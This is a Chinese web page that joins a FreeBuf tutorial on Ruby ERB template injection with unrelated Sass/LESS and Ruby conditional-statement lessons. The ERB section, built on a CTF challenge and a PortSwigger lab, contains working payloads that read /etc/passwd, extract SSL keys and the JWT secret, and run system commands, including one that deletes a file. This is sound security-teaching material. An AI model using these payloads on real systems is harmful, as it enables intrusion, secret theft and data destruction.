于Ruby的安全小问题,这里主要探讨其模板注入。
在web应用中,模板的存在不可或缺,很多客户端和服务端也会用到不同语言的模板引擎
1) 客户端模板引擎:主要结合js实现html,一种是常规字符串模板引擎,包括doT.js、dust.js、mustache.js;另一种是Dom模板引擎,包括vue.js、Angular.js、React.js等。
2) 服务端模板引擎:由各服务端语言生成html返回客户端,主要包括:
PHP:Smarty、Twig;
Java:Freemarker、Velocity;
Python:Jinja2、Tornado、Marko;
Ruby:Slim、ERB;
NodeJS:Jade等
模板注入与SQL注入有其类似之处,同作为一种注入攻击,在某些特定场景可能会产生有趣的结果
在本文,主要学习ruby的ERB模板,其易于学习的特质也使其广泛应用于各服务端模板
ERB属于Ruby标准库中的东西,其语法相较而言比较简单,Ruby On Rails就是使用ERB作为创建文件的模板
我们作为攻击者,基本方法是先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作,该操作可以是读取或写入文件、命令执行或其他操作
我们主要需要学习的模板写法有二
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 5
puts erb_object.result(binding())
x = 4
puts erb_object.result(binding())
如果x可控,即可实现常见的ssti
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())
还可以进行文件读取
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = File.open('test').read
puts erb_object.result(binding())
枚举当前类的可用方法
require 'erb'
template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())
Ruby全局变量 | 中文释义 |
$! | 错误信息 |
$@ | 错误发生的位置 |
>$0< | 正在执行的程序的名称 |
$& | 成功匹配的字符串 |
$/ | 输入分隔符,默认为换行符 |
$\ | 输出记录分隔符(print和IO) |
$. | 上次读取的文件的当前输入行号 |
$; $-F | 默认字段分隔符 |
$, | 输入字符串分隔符,连接多个字符串时用到 |
$= | 不区分大小写 |
$~ | 最后一次匹配数据 |
$` | 最后一次匹配前的内容 |
$’ | 最后一次匹配后的内容 |
$+ | 最后一个括号匹配内容 |
~ | 各组匹配结果 |
$< ARGF | 命令行中给定的文件的虚拟连接文件(如果未给定任何文件,则从$stdin) |
$> | 打印的默认输出 |
$_ | 从输入设备中读取的最后一行 |
$* ARGV | 命令行参数 |
$$ | 运行此脚本的Ruby的进程号 |
$? | 最后执行的子进程的状态 |
$: $-I | 加载的二进制模块(库)的路径 |
$“ | 数组包含的需要加载的库的名字 |
$DEBUG $-d | 调试标志,由-d开关设置 |
$LOADED_FEATURES | $“的别名 |
$FILENAME | 来自$<的当前输入文件 |
$LOAD_PATH | $: |
$stderr | 当前标准误差输出 |
$stdin | 当前标准输入 |
$stdout | 当前标准输出 |
$VERBOSE $-v | 详细标志,由-w或-v开关设置 |
$-0 | $/ |
$-a | 只读 |
$-i | 在in-place-edit模式下,此变量保存扩展名 |
NIL | 0本身 |
ENV | 当前环境变量 |
RUBY_VERSION | Ruby版本 |
RUBY_RELEASE_DATE | 发布日期 |
RUBY_PLATFORM | 平台标识符 |
<%= 7 * 7 %>
<%= File.open(‘/etc/passwd’).read %>
<%= self %> //枚举该对象可用的属性及方法
<%= self.class.name %> //获取self对象的类名
<%= self.methods %>
<%= self.method(:handle_POST).parameters %> //获取目标所需的具体参数
<%= session.class.name %>
<%= self.instance_variables %>
<% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
<% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %> //提取key值
/filebak
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
我们可以判断出主要的漏洞点在于以下代码中
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
en
我们是想得到jwt的secret
而在这段代码我们可以看到,ERB会对传入密钥进行正则匹配且对于其存在一个字数限制,当传入的参数do和params相等的话会弹出#{params[:name][0,7]} working successfully!')</script>
而在ruby的全局变量中,存在这么一个全局变量:$’-- 最后一次匹配后的内容,所以我们就可以利用这个对匹配的字符进行读取得到secret
payload
work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
得到secret
后续进行伪造即可,难度不高,网上wp详细
还有另外一种解法,即利用HTTP参数传递类型的差异进行绕过,详见http://mon0dy.top/2022/04/04/Ruby ERB模板注入/#sctf2019flag-shop
这里用portswigger的靶场深入了解一下ERB模板注入
我们可以看到,当我们尝试查看有关第一个产品的更多详细信息时,GET请求会使用message参数,并把其内容“Unfortunately this product is out of stock"在主页上打印出来
而在ERB模板文档中,存在这么一个用法
<%= someExpression %>用于评估表达式并将结果呈现在页面上
所以我们不妨尝试一下,看他能不能把我们想要的打印出来
<%=7*7%>
七七四十九,很明显是可以打印出来的,那么我们就知道这message参数我们是可控的,这里就存在ERB模板注入问题
而在ERB文档中,依旧存在我们喜闻乐见的system()函数
那么我们不妨whoami一下看看
确实可以运行,当前用户为carlos
那么这道题目解决就需要删除特定文件morale.txt即可,根据题目与目录翻找得到文件路径
/home/carlos/morale.txt
删除文件
<%=system("rm%20/home/carlos/morale.txt")%>
与常见的ssti一致,都需先识别模板引擎,枚举可访问的类/方法,最后利用它们来获取所需的操作进行读取或写入文件、命令执行或其他操作,而其可以执行的操作由可用的类方法/函数可以执行的操作决定,所需要注意防范的点也多在于这些点上,尤其对于敏感信息的泄露问题,需多加注意。
from https://www.freebuf.com/articles/web/367143.html
CSS(层叠样式表)是一门非程序式语言,入门学习使用非常直观方便,但是对于一些比较复杂或者重用性比较强的项目来说,因为CSS没有变量、函数、SCOPE(作用域),需要书写大量看似没有逻辑的代码,不方便维护及扩展,不利于复用,尤其对于非前端开发工程师来讲,往往会因为缺少 CSS 编写经验而很难写出组织良好且易于维护的 CSS 代码。
为了方便前端开发的工作量,出现了sass和less。
SASS(英文全称:Syntactically Awesome Stylesheets)Sass 诞生于 2007 年,使用Ruby 编写,是一种对css的一种扩展提升,增加了规则、变量、混入、选择器、继承等等特性。
可以理解为用js的方式去书写,然后编译成css。比如说,sass中可以把反复使用的css属性值定义成变量,然后通过变量名来引用它们,而无需重复书写这一属性值。
LESS(2009年开源的一个项目,受Sass的影响较大,但又使用CSS的语法,让大部分开发者和设计师更容易上手。
LESS保留了css的任何功能,同时提供了多种方式能平滑的将写好的代码转化成标准的CSS代码,可以在任何使用随时切换到css的语法进行书写。
传统的css可以直接被html引用,但是sass和less由于使用了类似JavaScript的方式去书写,所以必须要经过编译生成css,而html引用只能引用编译之后的css文件,虽然过程多了一层,但是毕竟sass/less在书写的时候就方便很多,所以在我们使用sass/less之前,只要我们提前设置好,就可以直接生成对应的css文件,而我们只需要关心我们的sass/less文件即可。
Sass的语法规则,可以参考下SASS中文网:https://www.sass.hk/。
SASS技术的文件的后缀名有两种形式:.sass和.scss。其实两者都是同一种东西,两种均可以可以通过编译生成浏览器能识别的css文件。这两种的区别:
Sass 语法
$font-stack: Helvetica, sans-serif //定义变量
$primary-color: #333 //定义变量
body
font: 100% $font-stack
color: $primary-color
SCSS 语法
$font-stack: Helvetica, sans-serif;
$primary-color: #333;
body {
font: 100% $font-stack;
color: $primary-color;
}
编译出来的 CSS
body {
font: 100% Helvetica, sans-serif;
color: #333;
}
LESS技术的后缀名只有一种,就是.less,语法规则和sass大同小异,详细可以参考less中文网http://lesscss.cn/。
LESS使用分为两种:
/* Less */
@color: #999;
@bgColor: skyblue;//不要添加引号
@width: 50%;
#wrap {
color: @color;
width: @width;
}
uby 是一种开源的面向对象程序设计的服务器端脚本语言,在 20 世纪 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)设计并开发。在 Ruby 社区,松本也被称为马茨(Matz)。Ruby 可运行于多种平台,如 Windows、MAC OS 和 UNIX 的各种版本。
Ruby 提供了几种很常见的条件结构。在这里,我们将解释所有的条件语句和 Ruby 中可用的修饰符。
Ruby if...else 语句
语法
if conditional [then]
code...
[elsif conditional [then]
code...]...
[else
code...]
end
if 表达式用于条件执行。值 false 和 nil 为假,其他值都为真。请注意,Ruby 使用 elsif,不是使用 else if 和 elif。
如果 conditional 为真,则执行 code。如果 conditional 不为真,则执行 else 子句中指定的 code。
通常我们省略保留字 then 。若想在一行内写出完整的 if 式,则必须以 then 隔开条件式和程式区块。如下所示:
if a == 4 then a = 7 end
实例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
x=1
if x > 2
puts "x 大于 2"
elsif x <= 2 and x!=0
puts "x 是 1"
else
puts "无法得知 x 的值"
end
以上实例输出结果:
x 是 1
Ruby if 修饰符
语法
code if condition
if修饰词组表示当 if 右边之条件成立时才执行 if 左边的式子。即如果 conditional 为真,则执行 code。
实例
#!/usr/bin/ruby
$debug=1
print "debug\n" if $debug
以上实例输出结果:
debug
Ruby unless 语句
语法
unless conditional [then]
code
[else
code ]
end
unless式和 if式作用相反,即如果 conditional 为假,则执行 code。如果 conditional 为真,则执行 else 子句中指定的 code。
实例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
x=1
unless x>2
puts "x 小于 2"
else
puts "x 大于 2"
end
以上实例输出结果为:
x 小于 2
Ruby unless 修饰符
语法
code unless conditional
如果 conditional 为假,则执行 code。
实例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
$var = 1
print "1 -- 这一行输出\n" if $var
print "2 -- 这一行不输出\n" unless $var
$var = false
print "3 -- 这一行输出\n" unless $var
以上实例输出结果:
1 -- 这一行输出
3 -- 这一行输出
Ruby case 语句
语法
case expression
[when expression [, expression ...] [then]
code ]...
[else
code ]
end
case先对一个 expression 进行匹配判断,然后根据匹配结果进行分支选择。
它使用 ===运算符比较 when 指定的 expression,若一致的话就执行 when 部分的内容。
通常我们省略保留字 then 。若想在一行内写出完整的 when 式,则必须以 then 隔开条件式和程式区块。如下所示:
when a == 4 then a = 7 end
因此:
case expr0
when expr1, expr2
stmt1
when expr3, expr4
stmt2
else
stmt3
end
基本上类似于:
_tmp = expr0
if expr1 === _tmp || expr2 === _tmp
stmt1
elsif expr3 === _tmp || expr4 === _tmp
stmt2
else
stmt3
end
实例
#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
$age = 5
case $age
when 0 .. 2
puts "婴儿"
when 3 .. 6
puts "小孩"
when 7 .. 12
puts "child"
when 13 .. 18
puts "少年"
else
puts "其他年龄段的"
end
以上实例输出结果为:
小孩
当case的"表达式"部分被省略时,将计算第一个when条件部分为真的表达式。
foo = false
bar = true
quu = false
case
when foo then puts 'foo is true'
when bar then puts 'bar is true'
when quu then puts 'quu is true'
end
# 显示 "bar is true"
https://www.linuxprobe.com/learn-ruby-judgment.html
*请认真填写需求信息,我们会在24小时内与您取得联系。